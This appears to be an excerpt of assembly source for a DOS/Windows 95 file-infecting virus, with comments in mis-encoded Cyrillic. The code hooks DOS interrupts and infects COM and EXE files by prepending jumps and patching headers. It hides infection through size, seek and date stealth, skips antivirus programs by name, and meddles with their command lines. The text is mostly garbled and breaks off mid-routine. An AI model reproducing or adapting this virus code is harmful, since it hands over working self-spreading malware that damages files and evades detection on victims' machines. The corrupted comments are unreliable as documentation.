´も�� 拾� jnz no_hook ; ��誓信�젺�˙�� call WinOldAp ; �昔´夕�, 譽�-�Æ蝨� �㎚��Œ�刷 � cmp ax,cs:w95state ; МД��� Þ飡젷ワ與� ˘說�� � 캙э筍 jz no_hook ; (〓쳽 エ 쭬｀拾�췅 Win95) mov ax,3521h ; ��ャ曄��� ´も��� int 21h int 21h mov ax,2521h ; 信�젺�˚� ��¡． ´も��� �誓贍쥯�⑨ lea dx,manager mvs ds,cs int 21h call set_dup ; 貰魚젺���� ´も��� � ㅰ膝�� 瀞ⅸぅ IVT no_hook: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� jmp exithandler ; 袴袴袴袴袴袴袴袴袴袴袴袴> S�U�B�R�O�U�T�I�N�E�S <袴袴袴袴袴袴袴袴袴袴袴袴� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 쭬�젲���� �ⅹ�獸贍� ┬㎛���� 쥯┃音 �젵ギ� ; ⓤ��レ㎯β STACKS � 첓曄飡´ ▲芯�� ㄻ� º�� �젵ギ� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 FixVirus: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov si,2ch mov ds,cs:[si] ; 쭬｀習첓 醒，���� Environment xor si,si mvs es,cs lea di,windir ; ES:DI -> WINDIR= wdlook4: call compare ; 蓀젪����� 姉�Д�ⓥ� envir � �젩ギ��� jz wdfound cmp w [si],0 jz fverror inc si jmp wdlook4 wdfound: add si,11 ; SI -> ㄸ誓も�黍� windows lea di,stacks lodsb stosb or al,al jnz $-4 mvs ds,cs lea bx,[di-1] lea si,fixes fvinfect: cmp b [si],0 jz fverror mov di,bx lodsb stosb or al,al jnz $-4 mov ax,1857h lea dx,stacks int 21h jmp fvinfect fverror: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Open/Close SFT - ��ㄿ昔｀젹쵟 ㄻ� 쭬む淫⑨/�洙贍殊� ��席젷彛�� SFT 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 OpenSFT: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov si,0 ; "Open" jmp Manipulate CloseSFT: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov si,1 ; "Close" Manipulate: mov bp,bx ; 貰魚젺���� handle call HandleCheck ; �昔´夕�, 將� �젵� Œ� chardevice jc SFT_Error mov ax,1220h ; ��ャ曄��� JFT ㄻ� 將�． �젵쳽 int 2fh jc SFT_Error xor bx,bx mov bl,es:[di] ; BL = System file entry cmp bl,0ffh je SFT_Error mov ax,1216h ; ��ャ曄��� 젮誓�� SFT � ES:DI int 2fh jc SFT_Error mov bx,bp ; ¡遜�젺�˙���� handle call Inf_Check ; �昔´夕� Þ十與昔쥯���飡� �젵쳽 jnc SFT_Error ; �音�� � 笹晨젰 葉飡�． �젵쳽 mov eax,vsize cmp si,0 ; "Open"? jz open neg eax open: add es:[di+11h],eax ; 貰魚젺���� � SFT �젳Д�� mov dx,es:[di+0fh] ; ��ャ曄��� 쩆瞬 �젵쳽 call hidestm ; 稅贍殊� エ鈺ⓨ 100 ゥ� cmp si,0 ; "Open"? jnz clsft ror dh,1 ; 瑟�エ曄��� 쩆瞬 �젵쳽 add dh,100 rol dh,1 clsft: mov es:[di+0fh],dx ; 貰魚젺���� �㎚������� 쩆瞬 SFT_Error: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; �昔´夕� 젶殊˛�飡� Win95 (ⓤ��レ㎯� WinOldAp) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 WinOldAp: mov ax,1700h ; 押�ゆ⑨ WinOldAp Installation Check int 2fh ; �昔｀젹쵟, ぎ獸�좑 �黍率恂手濕� � Win95 ret ; � 32-�젳涉ㄽ�� PE 誓┬Д get_dup: push ds si ; 쭬｀習첓 誓（飡昔� ES:BX �黍（췅レ�臾 mvs ds,0 ; ´も�昔� 21-． �誓贍쥯�⑨ mov si,63h*4 mov bx,[si] mov es,[si+2] pop si ds ret set_dup: push ds si ; 貰魚젺���� ES:BX � 63-� ´も�誓 mvs ds,0 ; �誓贍쥯�⑨ mov si,63h*4 mov [si],bx mov [si+2],es pop si ds ret chk_dup: push ds si eax ; �昔´夕� �㎚������ 63-． ´も��� mvs ds,0 ; �誓贍쥯�⑨ mov si,63h*4 mov eax,[si] cmp D cs:io21p,eax pop eax si ds ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; size stealth ; ES:SI -> 꽑�� �젵쳽 ; ES:DI -> 꽞Þ� �젵쳽 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 sizst: mov dx,es:[si] ; dx = 쩆�� �젵쳽 call hidestm ; 쵟稅ⓣ�˚� � �昔´夕� 100 エ鈺ⓨ ゥ� jnc oklen ; �젵� Þ十與昔쥯�? mov W es:[si],dx ; 信�젺�˘筍 ��席젷彛莘 쩆栒 �젵쳽 sub W es:[di],vsize ; 쵟稅ⓣ�˚� �黍�좈��⑨ ㄻÞ� �젵쳽 sbb W es:[di+2],0 oklen: ret hidestm: push dx ; 貰魚젺ⓥ� 쩆栒 � 飡ⅹ� shr dh,1 ; ��ャ葉筍 ．� �젵쳽 cmp dh,100 ; 蓀젪����� ⅲ� � 100 pop dx ; ¡遜�젺�˘筍 쩆栒 jb okinf ror dh,1 ; ��ャ葉筍 ．� �젵쳽 sub dh,100 ; 召涉�졻� エ鈺ⅴ rol dh,1 ; stc ; �젵� 쭬�젲��! ret okinf: clc ret correctdate: mov ax,5700h ; 信�젺�˚� 쩆瞬 �젵쳽 � 쭬˘歲М飡� call int21 ; �� 獸．, 쭬�젲�� エ �� call HideStm ; ��席젷彛좑 쩆�� call Inf_Check ; �昔´黍筍 �젵� 췅 쭬�젲����飡� jnc okdat ror dh,1 add dh,100 rol dh,1 okdat: mov ax,5701h ; 信�젺�˚� �洙�薛ⅹ殊昔쥯���� call int21 ; 쩆瞬 �젵쳽 ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 뤲�´夕� º��� �젵쳽 (AVs � 與菴�) ; 뤲�´夕� �졹鼇誓�⑨ �젵쳽 (Extens) ; 뤲� SAVE_AX=4B00 ㄾ줎˙���� 캙�젹β昔� � cmdline 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 Filename: call SaveRegs ; 貰魚젺���� 誓（飡昔� cld mov si,dx ; 細ι���� º��� � Þㄵめ�硫 誓（飡� nfind: lodsb ; ��ⓤ� º��� �젵쳽 cmp al,':' ; � 췅蜈� 笹晨젰 ��� ▲ㄵ� 笹ⅳ�쥯筍 jz separ ; 쭬 ��笹ⅳ�º "/", "\", ":" cmp al,'\' jz separ cmp al,'/' jnz store separ: mov dx,si ; 貰魚젺ⓥ� 細ι���� store: or al,al ; �昔´夕� ぎ��� 飡昔え (0) jnz nfind mov si,dx ; SI -> º� �젵쳽 xor di,di ; �졹鼇誓��� ��첓 �� 췅ħ��� gext: lodsb cmp al,'.' ; �졹鼇誓���? jnz $+4 mov di,si or al,al jnz gext or di,di ; αエ 獸曄� � º�ⅷ �젵쳽 jz Bad_File ; �∼졷拾��� �� 〓ギ lea bp,[di-1] ; 醒⑴졹 BP-�졹鼇誓��� �젵쳽, DX-ⅲ� º� mvs es,cs ; ES=CS cmp cs:save_ax,4b00h jne no_add mov si,dx ; SI -> º� �젵쳽 lea di,prms ; �젩エ囹� (兒席졻: avname,0,0,cmdline,0dh) scancmd: call compare ; 蓀젪����� º��� 쭬�信첓�М� �昔｀젹щ jz addprm ; � �誓ㅳ細�循���臾 º���� �� �젩エ劣 mov al,0dh mov cx,0ffffh repne scasb cmp b cs:[di],0 ; ぎ�ζ �젩エ劣? jnz scancmd ; � �젩エ璵 º� �� 췅ħ��� - 쭬�申�췅 jmp no_add ; ㅰ膝좑 �昔｀젹쵟 addprm: push es ; 貰魚젺���� ES mov al,0 mov cx,0ffffh repne scasb lea si,[di+1] les bx,d cs:save_bx ; 쭬｀習첓 � ES:BX 젮誓�� EPB les bx,es:[bx+2] ; 쭬｀習첓 젮誓�� ぎ쵟�ㄽ�� 飡昔え � ES:BX mov di,bx getdx: inc di ; 稅젺ⓣ濕� ぎ쵟�ㄽ莘 飡昔ゃ cmp b es:[di],0dh ; ぎ�ζ 飡昔え? jnz getdx mov cx,-1 ; 淞β葉� ㄻÞ� ㄾ��キⓥ�レ��． 캙�젹β�� lods b cs:[si] ; 쭬｀習첓 줎⒱� 캙�젹β�� stosb ; 貰魚젺���� 줎⒱� 캙�젹β�� inc cx ; 瑟�エ曄��� 淞β葉첓 cmp al,0dh ; �昔´夕� 췅 �ぎ��젺�� 캙�젹β�� jnz $-6 add es:[bx],cl ; 瑟�エ曄��� ㄻÞ� ぎ쵟�ㄽ�� 飡昔え pop es ; ¡遜�젺�˙���� ES no_add: mov si,bp lea di,extens ; ES:DI 丞젳猶좐� 췅 �젩エ軟 � call compare ; �젳誓蜈��臾� �졹鼇誓�⑨Ж jnz Bad_File ; �ⅹ�薛ⅹ狩�� �졹鼇誓���? mov si,dx ; SI -> º� �젵쳽 lea di,AVs ; ES:DI -> �젩エ�� � º�췅Ж call compare ; 蓀젪����� º�� jz Bad_File ; �쪜츖�蜈� º� digit: lodsb ; �昔´涉��, α筍 エ � º��� �젵쳽 與菴� cmp al,'0' jb nodig cmp al,'9' jbe Bad_File nodig: or al,al jnz digit call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� clc ; �葉飡첓 CF ret Bad_File: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� stc ; 信�젺�˚� CF ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; 信�젺�˚� 줎⒱� STF � 쭬˘歲М飡� �� 收ゃ耀． PSP/MCB ; 줎⒱ �젪�� 1 αエ 收ゃ蟯� MCB �黍췅ㄻⅵⓥ �昔｀젹Д �� STLOCK ; 줎⒱ �젪�� 0 αエ ˙젮�ゥ� 收ゃ耀． MB �� 쭬誓（飡黍昔쥯� � STLOCK ; 줎⒱ COMMAND �젪�� 1 αエ 收ゃ蟯� MB �黍췅ㄻⅵⓥ command.com'� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� mcbcheck: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov ah,62h ; 쭬�昔� 醒，���� 收ゃ耀． PSP call int21 dec bx ; ��ャ曄��� 醒，���� MCB mov ds,bx ; DS:SI 丞젳猶좐� 췅 ˙젮�レ�� MB mov si,08h ; lea di,stlock ; ES:DI 丞젳猶좐� 췅 췅� mvs es,cs ; 召ⓤ�� º�� STLOCK call compare ; 蓀젪����� 쩆��音 sete cs:stf ; 信�젺�˚� 飡�メ-氏젫� lea di,comspec ; �昔´夕� ˙젮�レ�� 收ゃ耀． call compare ; ∥�첓 췅 command.com sete cs:command call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� ret ; �音�� �� ��ㄿ昔｀젹щ 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; COMPARE - 蓀젪����� 쩆��音 ; DS:SI - ⓤ獸嶺Ø ; ES:DI - �젩エ�� (Data1,0,Data2,0,...,DataN,0,0) ; 귣若�: ZF = 1 � 笹晨젰 貰¿젮��⑨ 쩆��音 ; 맓（飡� 쳽殊�稅ⓨ ▲あ ㎛좂��⑨ �� ºⅴ� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� compare: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov dx,si ; ㅳ∥ⓣ�쥯��� 細ι��⑨ ⓤ獸嶺Ø� data1: mov si,dx ; ¡遜�젺�˙���� 細ι��⑨ ⓤ獸嶺Ø� data2: mov al,ds:[si] ; 譽��⑨ 줎⒱� ⓤ獸嶺Ø� mov ah,es:[di] ; 譽��⑨ 줎⒱� �젩エ劣 inc di ; 瑟�エ曄��� Þㄵめ�音 誓（飡昔� inc si ; call upreg ; ��誓¡� 歲Б�ギ� � ´齧�Ł 誓（飡� or ah,ah ; αエ � �젩エ璵 �□젳�쥯メ� 0 => jz equal ; => 쩆��瑜 貰¿젷� cmp al,ah ; Þ좂� ��줎⒱��� 蓀젪����� jz data2 ; αエ 줎⒱� 貰¿젷�, �昔´涉�� 쩆レ蜈 data3: cmp B es:[di],0 ; 〓⒱� �� 貰¿젷�, ‥誓� 笹ⅳ莘耀� jz data4 ; ��ゥ inc di jmp data3 data4: inc di cmp B es:[di],0 ; �昔´夕� 췅 ��笹ⅳ�傳 쭬�ⓤ� � jnz data1 ; �젩エ璵 call LoadRegs ; �젩エ�� ぎ�葉쳽刷: 貰¿젮��Ł �� 췅ħ��� cmp di,-1 ; �葉飡첓 ZF ret ; �音�� �� ��ㄿ昔｀젹щ equal: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� cmp al,al ; 信�젺�˚� ZF ret ; �音�� �� ��ㄿ昔｀젹щ 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; 貰魚젺���� � 쭬｀習첓 誓（飡昔� �� 飡ⅹ� ; FLAGS EAX BX CX DX SI DI BP ES DS 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� SaveRegs: pushf ; 貰魚젺���� �젹ⓨ 誓（飡昔� push eax bx cx dx si di bp es ds mov bp,sp push w [bp+22] ; ぎ�ⓣ�쥯��� 젮誓�� ¡㎖�졻� mov bp,[bp+4] ; ¡遜�젺�˙���� BP ret LoadRegs: mov bp,sp ; ぎ�ⓣ�쥯��� 젮誓�� ¡㎖�졻� � �信栒� pop W [bp+24] ; 瀞ⅸゃ 飡ⅹ� (�飡젷졹� �� SaveRegs) pop ds es bp di si dx cx bx eax popf ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Gets a random value [0..AL] 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 get_rnd: push bx cx dx si di mov si,ax mov ax,cs:random1 mov bx,cs:random2 mov cx,ax mov di,8405h mul di shl cx,3 add ch,cl add dx,cx add dx,bx shl bx,2 add dx,bx add dh,bl shl bx,5 add dh,bl add ax,1 adc dx,0 mov cs:random1,ax mov cs:random2,dx or si,si jz rnd_exit rnd_fail: sub ax,si jnc rnd_fail add ax,si and eax,0ffffh rnd_exit: pop di si dx cx bx ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; ��ㄿ昔｀젹щ ㄻ� 信�젺�˚�/說汀⑨ ´も��� �誓贍쥯�⑨ ; むⓥ①αえ� �鼇‘� int 24h 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� Hook24: call SaveRegs ; 貰魚젺���� � ��誓罌졻 xor ax,ax ; ´も��� �誓贍쥯�⑨ むⓥ①αえ� mov ds,ax ; �鼇‘� int 24h mov si,24h*4 mov dx,cs lea ax,int24 xchg ax,[si] xchg dx,[si+2] mov cs:io24,ax mov cs:io24+2,dx call LoadRegs ret Remove24: call SaveRegs ; ¡遜�젺�˙���� ´も��� int 24h xor ax,ax mov ds,ax mov si,24h*4 mov ax,cs:io24 mov dx,cs:io24+2 mov [si],ax mov [si+2],dx call LoadRegs ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ��ㄿ昔｀젹щ ㄻ� �젩�瞬 � �젵쳽Ж 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 LFNOpenFile: ; LFN �洙贍殊� �젵쳽 mov ax,716ch mov si,dx mov dx,1 ; �洙贍殊� �젵쳽 mov bx,2 ; ´惜呻� �鼇―� αエ �� �洙贍쥯β碎 call int21 xchg ax,bx ret OpenFile: ; �洙贍殊� �젵쳽 mov ax,3d02h call int21 xchg ax,bx ret GetDate: ; ��ャ曄��� №�Д�� � 쩆瞬 mov ax,5700h ; ��笹ⅳ�ⅸ 쭬�ⓤ� � �젵� call int21 mov cs:time,cx mov cs:date,dx ret RestDate: ; ¡遜�젺�˙���� №�Д�� � 쩆瞬 mov ax,5701h ; �젵쳽 mov cx,cs:time mov dx,cs:date call int21 ret Write: mov ah,40h ; 쭬�ⓤ� � �젵� call int21 ret Read: mov ah,3fh ; 譽���� �� �젵쳽 call int21 ret CloseFile: mov ah,3eh ; 쭬む淫�� �젵쳽 call int21 ret LFNClrAttrib: mov ax,7143h ; LFN ��ャ曄��� � �葉飡첓 졻循Æ呻�� mov bl,0 ; �젵쳽 call int21 jc ClrFailed mov cs:Attrib,cx mov cs:fn_ptr,dx mov cs:fn_ptr+2,ds mov ax,7143h mov bl,1 xor cx,cx call int21 jmp ClrFailed ClrAttrib: mov ax,4300h ; ��ャ曄��� � �葉飡첓 졻循Æ呻�� call int21 ; �젵쳽 jc ClrFailed ; �젶┘ 貰魚젺���� 丞젳졻�ワ 췅 �젵� mov cs:Attrib,cx mov cs:fn_ptr,dx mov cs:fn_ptr+2,ds mov ax,4301h xor cx,cx call int21 ClrFailed: ret LFNRestAttrib: mov ax,7143h ; LFN ¡遜�젺�˙���� 졻循Æ呻�� mov bl,1 ; �젵쳽 �� 貰魚젺����с 丞젳졻�ヮ mov cx,cs:Attrib mov dx,cs:fn_ptr mov ds,cs:fn_ptr+2 call int21 ret RestAttrib: mov ax,4301h ; ¡遜�젺�˙���� 졻循Æ呻�� mov cx,cs:Attrib ; �젵쳽 �� 貰魚젺����с 丞젳졻�ヮ mov dx,cs:fn_ptr mov ds,cs:fn_ptr+2 call int21 ret SeekSave: call SaveRegs ; 貰魚젺���� ��㎤與� xor cx,cx ; 丞젳졻�ワ (lseek) � �젵ゥ xor dx,dx call seekfrom_cur mov cs:seek_pos,ax mov cs:seek_pos+2,dx call LoadRegs ret RestoreSeek: call SaveRegs ; ¡遜�젺�˙���� 貰魚젺����� mov dx,cs:seek_pos ; ��㎤與� 丞젳졻�ワ � �젵ゥ mov cx,cs:seek_pos+2 call seekfrom_bof call LoadRegs ret seek2bof: mov ax,4200h ; 信�젺�˚� 丞젳졻�ワ 췅 xor cx,cx ; 췅�젷� �젵쳽 xor dx,dx jmp realseek seek2eof: mov ax,4202h ; 信�젺�˚� 丞젳졻�ワ 췅 xor cx,cx ; ぎ�ζ �젵쳽 xor dx,dx jmp realseek seekfrom_eof: mov ax,4202h ; 信�젺�˚� 丞젳졻�ワ jmp realseek ; �� ぎ��� �젵쳽 seekfrom_cur: mov ax,4201h ; 信�젺�˚� 丞젳졻�ワ jmp realseek ; �� 收ゃ耀� ��㎤與� seekfrom_bof: mov ax,4200h ; 信�젺�˚� 丞젳졻�ワ ; �� 췅�젷� �젵쳽 realseek: call int21 ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; �□젩�洵Ø int 24h 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� int24: mov al,3 ; AL=3:´惜呻� �鼇―� iret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; �醒∃� int 21h 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� int21: pushf ; 쭬��� � 飡ⅹ 氏젫�� � ぎㄾ¡． push cs ; 醒，���� call exithandler ; 承�젪ゥ��� ´惜β碎 �� 젮誓率 � 飡ⅹ� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; �昔´夕� �젵쳽 (ㄸ稅��硫?) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 HandleCheck: call SaveRegs ; 貰魚젺���� 誓（飡昔� mov ax,4400h ; IOCTL: Get device info call int21 jc Invalid ; bad handle? test dl,80h ; �昔´夕� 7-． 〃�� jnz Invalid ; αエ 0, 獸 將� ㄸ稅��硫 �젵� call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� clc ret Invalid: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� stc ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ��誓¡� ㄲ愼 쳽殊�稅ⓨ 歲Б�ギ� � AH � AL � ´齧�Ł 誓（飡� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 upreg: cmp al,61h ; 'a' jb badal cmp al,7ah ; 'z' ja badal sub al,20h ; 's'->'S' badal: cmp ah,61h ; 'a' jb badah cmp ah,7ah ; 'z' ja badah sub ah,20h ; 's'->'S' badah: ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; SeekHide ; αエ ��㎤與� lseek 췅若ㄸ恂� 췅 收ゥ ˘說��, ��ㄿ昔｀젹쵟 ��誓��歲� ⅲ� ; 췅 ｀젺ⓩ� ˘說�� � 쭬�젲����� �昔｀젹щ, �.�. 췅 ぎ�ζ 葉飡�� �昔｀젹щ ; SEEK_POS 貰ㄵ逝졻 ��㏂� ��㎤與� lseek ; NRBYTES 僧��麟젰恂� 췅 �젳��飡� ㄲ愼 ��㎤與� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 seekhide: call SaveRegs ; 貰魚젺���� 誓（飡昔� call SeekSave ; 貰魚젺畑� 收ゃ耀� ��ギ┘��� 丞젳졻�ワ mov cx,-1 ; ㄲª젰� 丞젳졻�レ 췅 ｀젺ⓩ� ˘說�� � mov dx,-vsize ; �昔｀젹щ call seekfrom_eof ; DX:AX - ．ギ쥯 ˘說�� sub ax,cs:seek_pos ; SEEK_POS - 飡졷좑 ��㎤與� sbb dx,cs:seek_pos+2 cmp dx,-1 ; DX:AX ㄾウ�� 〓筍 �循ⓩ졻�レ�臾 jnz not_us or ax,ax jns not_us neg ax ; ��ャ曄��� �젳��飡� ��㎤與� sub cs:nrbytes,ax ; 僧��麟���� ぎエ曄飡쥯 �昔葉�젺�音 줎⒱�� sub cs:seek_pos,ax ; 僧��麟���� ��㎤與� 丞젳졻�ワ � �젵ゥ sbb cs:seek_pos,0 ; �.�. 細ι���� ⅴ 췅 ．ギ㏂ ˘說�� not_us: call RestoreSeek ; ¡遜�젺�˙���� ��㎤與� 丞젳졻�ワ call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ��ㅱ曄� CRC ˘說�� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 crc: push si cx lea si,shield mov cx,end_crc-shield call crc32 pop cx si ret CRC32: push ebx ecx edx esi edi ds cld mov di,cx mov ecx,-1 mov edx,ecx mvs ds,cs NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0edb8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec di jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx pop ds edi esi edx ecx ebx ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Þ十與昔쥯��� handle 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 Infect_Handle: push cs cs ; ds � es ��첓㏓쥯荻 췅 췅� pop ds es call HandleCheck ; �昔´夕� �젵쳽 췅 十もÐ��飡� (disk file?) jc close call Inf_Check ; �昔´夕� �젵쳽 췅 ��™�惜�� 쭬�젲���� jc close mov cx,32 ; 譽���� 쭬．ギ˚� �젵쳽 lea dx,original call read cmp cx,ax ; DOS ´惜乘 ㏇� 쭬�昔蜈��瑜 ㄻ� jne close ; 譽��⑨ 줎⒱�? lea si,original ; 誠�쳽筍 ぎ�⑧ �黍（췅レ��． lea di,header ; 췅�젷� �昔｀젹щ mov cx,32 cld rep movsb lea di,header mov ax,[di] ; ˇ汀� � ax ��舒瑜 2 줎⒱� 쭬．ギ˚� cmp ax,'ZM' ; �昔´夕� 췅 EXE 殊� je exeinfect cmp ax,'MZ' ; �젶ⓨ EXE鈺Ø�� � �Ø�＄� �� ˘ㄵ� je exeinfect ; �� ．¡涉� �젶�� 〓쥯荻 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Þ十與昔쥯��� COM �젵쳽 ; DI - 쭬．ギ¡�, ぎ獸贍� �拾�� Мㄸ十與昔쥯筍 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 call seek2eof ; ��ャ曄��� �젳Д�� �젵쳽 or dx,dx ; �젳Д� �젵쳽 ‘レ蜈 65535 줎⒱? jnz Close cmp ax,65035-vsize ; �昔´夕� �젵쳽 췅 ��誓��キ���� ja Close ; Д飡� ι� �飡젪ゥ�� ��� 飡ⅹ � PSP mov B [di],0e9h ; 쭬�ⓤ� JMP mov delta,ax ; ㄾ��キⓥ�レ��� 細ι���� ㄻ� ��エМ雪� sub ax,3 ; ぎ薛ⅹ與� (Ж�信 �젳Д� jump'�) mov W [di+1],ax ; 쭬�ⓤ� 젮誓�� ��誓若쩆 jmp check 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Þ十與昔쥯��� EXE �젵쳽 ; DI - 쭬．ギ¡�, ぎ獸贍� �拾�� Мㄸ十與昔쥯筍 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 exeinfect: cmp B [di+18h],'@' ; �昔´夕� �젵쳽 췅 �黍췅ㄻⅵ��飡� je Close ; � ��¡с 醒Д⒰手� WinNE �젵ギ� mov ax,W [di+4] ; 淞ⓥ졻� 캙�젹β� PageCnt mov cx,W [di+2] ; 淞ⓥ졻� 캙�젹β� PartPag or cx,cx ; αエ ㄻÞ� ��笹ⅳ�ⅸ 飡�젺ⓩ� �젪췅 jz $+3 ; �乘�, 獸 캙�젹β� PageCnt �� 貰ㄵ逝ⓥ dec ax ; ㄾ��キⓥ�レ��� ⅳÞⓩ� mov dx,512 ; 僧��┘��� 췅 512 (��ャ曄��� 줎⒱) mul dx add ax,cx ; ��ャ曄��� ㄻÞ� �� EXE �젵쳽, ぎ獸�좑 adc dx,0 ; ｀習ⓥ碎 � 캙э筍 �黍 쭬�信ぅ 將� EXE push dx ax ; 貰魚젺ⓥ� 캙誓Д循 � 飡ⅹ� call seek2eof ; 